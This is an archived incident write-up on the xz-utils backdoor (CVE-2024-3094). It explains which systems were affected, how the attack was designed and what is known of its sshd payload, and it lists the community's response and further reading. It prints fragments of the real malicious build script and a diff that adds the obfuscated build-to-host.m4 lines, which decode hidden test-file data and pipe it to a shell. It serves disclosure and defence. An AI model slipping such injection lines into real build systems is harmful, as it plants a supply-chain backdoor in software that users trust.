xz-utils backdoor situation (CVE-2024-3094)

By 262588213843476

Archived: 2026-04-06 00:48:35 UTC

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Update: I've disabled comments as of 2025-01-26 to avoid everyone having notifications for something a year on if someone wants to suggest a correction. Folks are free to email to suggest corrections still, of course.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few *known* specific criteria are met. Others may be yet discovered! However, this backdoor is *at least* triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

- You need to be running a distro that uses glibc (for IFUNC)
- You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of *systemd* and *patched openssh* are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that **at this stage, we got lucky, and there may well be other effects of the infected liblzma**.

If you're running a publicly accessible `sshd`, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

- Using a `.deb` or `.rpm` based distro with glibc and xz-5.6.0 or xz-5.6.1:
  - Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW

    - Otherwise: update RIGHT NOW NOW but prioritize the former
- Using another type of distribution:
    - With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

- The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of `build-to-host.m4` in the release tarballs differs wildly from the upstream on Savannah.
- There are crafted test files in the `tests/` folder within the git repository too. These files are in the following commits:
    - `tests/files/bad-3-corrupt_lzma2.xz` (cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)
    - `tests/files/good-large_compressed.lzma` (cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)
- Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
- A script called by `build-to-host.m4` that unpacks this malicious test data and uses it to modify the build process.
- IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of `build-to-host.m4` is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by `build-to-host.m4` and an explanation of what it does:

```
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq
"linux-gnu$" > /dev/null 2>&1);then
```

- If amd64/x86_64 is the target of the build
- And if the target uses the name `linux-gnu` (mostly checks for the use of glibc)

It also checks for the toolchain being used:

```
 if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0
```

And if you are trying to build a Debian or Red Hat package:

```
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
```

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the `xz.git`.

Design specifics

```
$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],

   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/nul
+  else
```

```
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval
 ])

 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl
```

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

- The payload activates if the running program has the process name `/usr/sbin/sshd`. Systems that put `sshd` in `/usr/bin` or another folder may or may not be vulnerable.
- It may activate in other scenarios too, possibly even unrelated to ssh.
- We don't entirely know the payload is intended to do. We are investigating.
- Successful exploitation does not generate any log entries.

- Vanilla upstream OpenSSH isn't affected unless one of its dependencies links `liblzma`.
    - Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    - libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    - PAM modules are loaded too late in the process AFAIK for this to work (another possible example was `pam_fprintd`). Solar Designer raised this issue as well on *oss-security*.
- The payload is loaded into `sshd` indirectly. `sshd` is often patched to support systemd-notify so that other services can start when sshd is running. `liblzma` is loaded because it's depended on by other parts of `libsystemd`. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.
    - *Update*: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via `libsystemd` support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
- If this payload is loaded in openssh `sshd`, the `RSA_public_decrypt` function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. ~~Further research is being done to explain why.~~
    - Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to `system()`, giving remote code execution (RCE).

Tangential xz bits

- Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a `.` in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.
    - Hardening of CMake's `check_c_source_compiles` has been proposed (see *Other projects*).
- IFUNC was introduced for *crc64* in ee44863ae88e377a5df10db007ba9bfadde3d314 by *Hans Jansen*.
    - *Hans Jansen* later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

- Lasse Collin (*Larhzu*) who has maintained xz since the beginning (~2009), and before that, `lzma-utils`.

- Jia Tan (*JiaT75*) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

- Please **do not** use `ldd` on untrusted binaries
  - [PATCH] ldd: Do not recommend binutils as the safer option
- Internet Archive has a collection of the release tarballs
- I've also created a git repo for my own convenience at https://github.com/thesamesam/xz-archive.
- Lasse Collin's in-progress review notes as he audits xz.git

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

- xz/liblzma: Bash-stage Obfuscation Explained by @gynvael
- The xz attack shell script by Russ Cox

Other great resources:

- Filippo Valsorda's bluesky thread
- XZ Backdoor Analysis (WIP) by @smx-smx
  - XZ backdoor reverse engineering - git repo
- xz backdoor documentation wiki by @Midar et. al
- modify_ssh_rsa_pubkey.py - script to trigger more parts of the payload in a compromised `sshd` by @keeganryan
- xz-malware by @karcherm
- xz-backdoor by @hamarituc
- xzbot: notes, honeypot, and exploit demo by @amlweems. This contains binary patching for the key!
- XZ Backdoor Extract by @0xlane
- https://github.com/blasty/JiaTansSSHAgent
- XZ backdoor story – Initial analysis (part 1) by Kaspersky
  - Assessing the Y, and How, of the XZ Utils incident (part 2) by Kaspersky
- liblzma.so infection by binarly.io
- Minimal setup to trigger the xz backdoor by @felipec

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

- libarchive is being checked out:
    - libarchive/libarchive#2103 coordinates the review effort
    - libarchive/libarchive#1609 was made by Jia Tan
        - Solar Designer's take - with an interesting discussion about how terminal applications should act here
        - The initial fix post-review for this was libarchive/libarchive#2101 (https://github.com/libarchive/libarchive/commit/6110e9c82d8ba830c3440f36b990483ceaaea52c).
        - After review, libarchive/libarchive#2101 was made by libarchive maintainers.
        - It doesn't appear exploitable but the change in libarchive/libarchive#2101 was made out of caution.
        - One of the libarchive maintainers has filed libarchive/libarchive#2107 to discuss a better fix as well.
- google/oss-fuzz#10667 was made by Jia Tan to disable IFUNC in oss-fuzz when testing xz-utils
    - It is unclear if this was safe or not. Obviously, it doesn't look great, but see below.
    - Note that IFUNC *is* a brittle mechanism and it is known to be sensitive to e.g. ASAN, which is why the change didn't raise alarm bells. i.e. It is possible that such a change was genuinely made in good faith, although it's of course suspicious in hindsight. But I wouldn't say the oss-fuzz maintainers should have rejected it, either.
        - gcc PR70082
        - gcc PR87482
        - gcc PR110442
        - gcc PR114115 - a real bug which xz found(!)

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

- CMake: Consider hardening check_c_source_compiles - MR
- bug-autoconf: Add a syntax check to code snippets
- bug-autoconf: autoreconf --force seemingly does not forcibly update everything
- systemd: Reduce dependencies of libsystemd
    - *Note*: There was prior work already on this in e.g. systemd/systemd#31550. While it was initially thought that this may have have caused acceleration of plans to backdoor xz, as the systemd changes had not yet landed in a release, the timing doesn't seem to work out..
        - *xz-5.6.0*, the first known-backdoored version, was released on 2024-02-26.
        - Per Debian's package tracker, *xz-5.6.0* was first added on that same day. This predates the systemd PR which was opened on 2024-02-29.

        - That said, the original PR to move systemd towards more `dlopen()` for e.g. `kmod` was opened on 2024-01-30.
        - On the same day, a systemd developer suggested extending the approach to compression libraries.
- systemd: RFC: expose dlopen() dependencies in an ELF section
    - LWN
- groff: [PATCH] Distribute bootstrap and bootstrap.conf
- GNU binutils: Remove dependency on libjansson
    - This is being proposed by @rui314, the maintainer of mold. Rui also wrote about the risks to linkers in https://x.com/rui314/status/1774286434335338965.
- openssh
    - Note that as covered above, OpenSSH are looking at removing the need for downstreams to patch in libsystemd by implementing a library-less version of the same functionality.
    - Andres Freund noticed an interesting tangential bug/area for improvement when analysing the exploit, which would avoid checking against algorithms disabled by configuration. (This is not a vulnerability in OpenSSH and it wouldn't have prevented any of this, but it's come out of this whole thing nonetheless).
- Auditing Linux distribution packages with distro-backdoor-scanner
- esr's autodafe to aid conversion from autotools -> Makefiles
- backseat-signed: New supply-chain security tool: backseat-signed
    - github: https://github.com/kpcyrd/backseat-signed

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

- automake: GNU Coding Standards, automake, and the recent xz-utils backdoor
- bug-gnulib: git repositories vs. tarballs
- fedora-devel: Three steps we could take to make supply chain attacks a bit harder
- debian-devel: Upstream dist tarball transparency (was Re: Validating tarballs against git repositories)
- oss-security: Make your own backdoor: CFLAGS code injection, Makefile injection, pkg-config

Non-mailing list proposals:

- Simon Josefsson's blog: Towards reproducible minimal source code tarballs? On *-src.tar.gz
- Simon Josefsson's blog: Reproducible and minimal source-only tarballs

Acknowledgements

- Andres Freund who discovered the issue and reported it to *linux-distros* and then *oss-security*.
- All the hard-working security teams helping to coordinate a response and push out fixes.
- Xe Iaso who resummarized this page for readability.
- Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

- A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

- I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    - On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

- Add a table of releases + signer?
- Include the injection script after the macro
- Mention detection?
- Explain the bug-autoconf thing maybe wrt serial
- Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    - "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

- **Ensuring Lasse Collin and xz-utils is supported**, even long after the fervour is over
- Reverse engineering the payload (it's still fairly early days here on this)
    - Once finished, tell people whether:
        - the backdoor did anything else than waiting for connections for RCE, like:
            - call home (send found private keys, etc)
            - load/execute additional rogue code
            - did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
        - other attack vectors than via sshd were possible

        - whether people (who had the compromised versions) can feel fully safe *if* they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
- Auditing all possibly-tainted xz-utils commits
- Investigate other paths for `sshd` to get `liblzma` in its process (not just via `libsystemd`, or at least not directly)
    - This is already partly done and it looks like none exist, but it would be nice to be sure.
- Checking other projects for similar injection mechanisms (e.g. similar build system lines)
    - See distro-backdoor-scanner
    - https://codesearch.debian.net/ may be helpful
- Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
- Check other projecs which (recently) introduced IFUNC, as suggested by *thegrugq*.
    - This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
- ???

References and other reading material

- LWN - A backdoor in xz
- oss-security - backdoor in upstream xz/liblzma leading to ssh server compromise
- Evan Boehs - Everything I know about the XZ backdoor
- Tukaani - XZ Utils backdoor
- Rob Mensching - A Microcosm of the interactions in Open Source projects
- Russ Cox - Timeline of the xz open source attack
- Rhea's Substack - XZ Backdoor: Times, damned times, and scams
- LWN - Free software's not-so-eXZellent adventure
- LWN - How the XZ backdoor works
- LWN - Identifying dependencies used via dlopen()
- openSUSE - What we need to take away from the XZ Backdoor
- CISA - Lessons from XZ Utils: Achieving a More Sustainable Open Source Ecosystem
- OpenSSF - Open Source Security (OpenSSF) and OpenJS Foundations Issue Alert for Social Engineering Takeovers of Open Source Projects
- https://github.com/przemoc/xz-backdoor-links

Comments are disabled for this gist.
